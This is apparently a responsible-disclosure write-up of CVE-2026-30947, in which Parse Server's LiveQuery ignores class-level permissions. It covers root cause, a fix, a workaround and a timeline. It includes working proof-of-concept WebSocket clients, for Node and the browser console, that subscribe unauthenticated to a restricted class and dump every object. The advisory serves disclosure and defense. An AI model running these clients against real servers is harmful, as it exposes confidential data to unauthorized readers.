TL;DR — Parse Server's LiveQuery feature completely ignores class-level permissions (CLP). If you have a class with CLP restrictions and LiveQuery enabled for that class, any client — authenticated or not — can open a WebSocket, subscribe, and receive every create, update, and delete event in real time. Your carefully configured CLP rules? The LiveQuery server never checks them. Parse Server has 21k+ GitHub stars and 23k+ weekly npm downloads. Assigned CVE-2026-30947.

why this matters

LiveQuery is Parse Server's real-time feature. You subscribe to a class, and the server pushes events over a WebSocket whenever objects matching your query are created, updated, or deleted. It's heavily used for chat apps, dashboards, collaborative editing — anything that needs live data.

Class-level permissions are the primary access control mechanism in Parse Server. They determine which users or roles can find, get, create, update, or delete objects in a class. CLPs are the first line of defense. If a class has CLP find restricted to a specific role, unauthenticated users shouldn't be able to read any objects from that class.

Except through LiveQuery. LiveQuery operates on a completely separate code path that never consults the CLP configuration. It's a parallel door into your data that doesn't have a lock.

the root cause

This is an architectural problem. Parse Server's REST API runs through Express middleware. Every request passes through a chain that includes authentication, CLP validation via SchemaController.validatePermissions, and ACL enforcement. That's the normal request lifecycle.

LiveQuery doesn't use any of that. It runs as a separate WebSocket server. When a WebSocket connection comes in, it completes the handshake and hands off to the ParseLiveQueryServer class, which has its own message handlers for connect, subscribe, unsubscribe, and so on. These handlers are entirely independent of the Express middleware stack.

The LiveQuery server does perform ACL checks on individual objects via matchesACL(). But it never calls into the SchemaController to validate class-level permissions. The CLP check simply doesn't exist in the LiveQuery code path:

// Simplified flow in ParseLiveQueryServer
// On receiving a 'subscribe' message:

handleSubscribe(parseWebsocket, request) {
  // 1. Validates the request format
  // 2. Extracts className, query, sessionToken
  // 3. Creates subscription object
  // 4. Registers client for matching events

  // MISSING: No call to SchemaController.validatePermission()
  // MISSING: No CLP check for 'find' or 'get' permissions
  // The subscription is created unconditionally
}

// On data change events:
_onAfterSave(className, currentObject, originalObject) {
  // 1. Finds matching subscriptions
  // 2. Checks ACL via matchesACL()
  // 3. Pushes event to client

  // MISSING: No CLP validation before delivering the event
}

The WebSocket protocol completely sidesteps the HTTP request/response cycle. There's no Express middleware to enforce CLP because there are no Express requests. The LiveQuery server is essentially a separate application that shares a database connection but not a security model.

the exploit

This is trivially exploitable. You don't need valid credentials. You don't need a session token. You just need to know the class name and have a WebSocket client.

scenario

Suppose a Parse Server has a ConfidentialReport class with CLP configured to restrict find and get to the admin role only. The class is also listed in the liveQuery.classNames configuration (maybe the admin dashboard uses LiveQuery for real-time updates).

// Server configuration
{
  databaseURI: 'mongodb://localhost:27017/myapp',
  appId: 'myAppId',
  masterKey: 'myMasterKey',
  liveQuery: {
    classNames: ['ConfidentialReport', 'ChatMessage', 'Notification']
  },
  // CLP on ConfidentialReport restricts find/get to 'admin' role
}

step 1: connect and subscribe via raw WebSocket

No SDK required. No authentication needed. Just a raw WebSocket connection:

const WebSocket = require('ws');

const ws = new WebSocket('wss://parse-server.example.com/parse');

ws.on('open', () => {
  // Connect with just the application ID — no session token
  ws.send(JSON.stringify({
    op: 'connect',
    applicationId: 'myAppId'
  }));
});

ws.on('message', (data) => {
  const msg = JSON.parse(data);

  if (msg.op === 'connected') {
    // Subscribe to the restricted class — no auth check happens
    ws.send(JSON.stringify({
      op: 'subscribe',
      requestId: 1,
      query: {
        className: 'ConfidentialReport',
        where: {}  // match everything
      }
    }));
  }

  if (msg.op === 'subscribed') {
    console.log('Subscribed to ConfidentialReport — CLP bypassed');
  }

  // Receive every event in real time
  if (['create', 'update', 'delete', 'enter', 'leave'].includes(msg.op)) {
    console.log(`Event: ${msg.op}`);
    console.log('Object data:', JSON.stringify(msg.object, null, 2));
    // Full object data is leaked here, including all fields
  }
});

That's it. The server responds with {"op": "subscribed", "requestId": 1} and starts streaming every event. No CLP check. No permission denied. The subscription is accepted unconditionally.

step 2: sit back and collect data

Every time an admin creates, updates, or deletes a ConfidentialReport, the attacker's WebSocket receives the full object payload in real time:

// Example event received by the attacker
{
  "op": "create",
  "requestId": 1,
  "object": {
    "className": "ConfidentialReport",
    "objectId": "abc123",
    "title": "Q1 Financial Results - Internal Only",
    "content": "Revenue: $42M, Operating loss: $8.3M...",
    "author": "[email protected]",
    "classification": "CONFIDENTIAL",
    "createdAt": "2026-03-10T14:30:00.000Z",
    "updatedAt": "2026-03-10T14:30:00.000Z"
  }
}

From the browser, it's even simpler — no dependencies at all:

// Browser console — zero dependencies
const ws = new WebSocket('wss://parse-server.example.com/parse');
ws.onopen = () => ws.send(JSON.stringify({
  op: 'connect', applicationId: 'myAppId'
}));
ws.onmessage = (e) => {
  const msg = JSON.parse(e.data);
  if (msg.op === 'connected') {
    ws.send(JSON.stringify({
      op: 'subscribe', requestId: 1,
      query: { className: 'ConfidentialReport', where: {} }
    }));
  }
  if (msg.op !== 'connected' && msg.op !== 'subscribed') {
    console.log(msg.op, msg.object);
  }
};

impact

Every Parse Server deployment that uses LiveQuery with class-level permissions is affected. The severity is High (CVSS v4: 8.7). CWE-863: Incorrect Authorization.

ImpactDetail
ConfidentialityAll data in LiveQuery-enabled classes is exposed in real time, regardless of CLP
No authentication requiredAttacker needs only the application ID and a WebSocket client
Passive exfiltrationNo queries to the REST API — data is pushed to the attacker as it changes
Difficult to detectWebSocket subscriptions don't generate typical API access logs
Broad surfaceAffects every class listed in liveQuery.classNames that relies on CLP

The attack is silent. There are no failed permission checks in the logs because no permission checks are attempted. The data just flows.

the fix

The patch enforces CLP at two points: when the subscription is created and during event delivery. The LiveQuery server now calls into the SchemaController to validate that the subscribing client has find permission on the target class before accepting the subscription. It also re-validates CLP before pushing each event, handling cases where CLP rules change after subscription.

Patched versions:

Workaround: If you can't update immediately, remove any CLP-protected classes from the liveQuery.classNames array in your server configuration. This disables LiveQuery for those classes entirely. Not ideal, but it closes the hole.

// Before: ConfidentialReport has CLP but is exposed via LiveQuery
liveQuery: {
  classNames: ['ConfidentialReport', 'ChatMessage', 'Notification']
}

// Workaround: remove CLP-protected classes from LiveQuery
liveQuery: {
  classNames: ['ChatMessage', 'Notification']
}

the broader pattern

This is a textbook case of a real-time feature bypassing the auth model of the system it's bolted onto. I see this pattern constantly. A team builds a REST API with solid authentication and authorization. Then they add a WebSocket layer for real-time updates. The WebSocket layer gets its own message handlers, its own connection lifecycle, its own code paths. And somewhere in that process, the security invariants of the REST API don't get carried over.

It's not unique to Parse Server. GraphQL subscriptions, Socket.IO event handlers, Server-Sent Events endpoints — every time you add a real-time transport alongside a request/response API, you have to ask: does this new transport enforce the same access controls? The answer is depressingly often "no."

The fix for this bug is straightforward — call the same CLP validation logic from the LiveQuery server. But the fact that it was missing for years tells you something about how real-time features are treated. They're add-ons. They're built in parallel. And they inherit the database access of the main application without inheriting the security model.

If you're running any application with a WebSocket layer sitting alongside a REST API, audit whether the WebSocket handlers enforce the same authorization rules. Don't assume they do.

disclosure timeline

DateEvent
Mar 7, 2026Vulnerability reported to parse-community via GitHub Security Advisory
Mar 7, 2026Maintainer confirmed the vulnerability
Mar 10, 2026CVE-2026-30947 assigned by GitHub
Mar 10, 2026Patched versions released (9.5.2-alpha.3, 8.6.16)

This vulnerability was reported through responsible disclosure to the parse-community security team.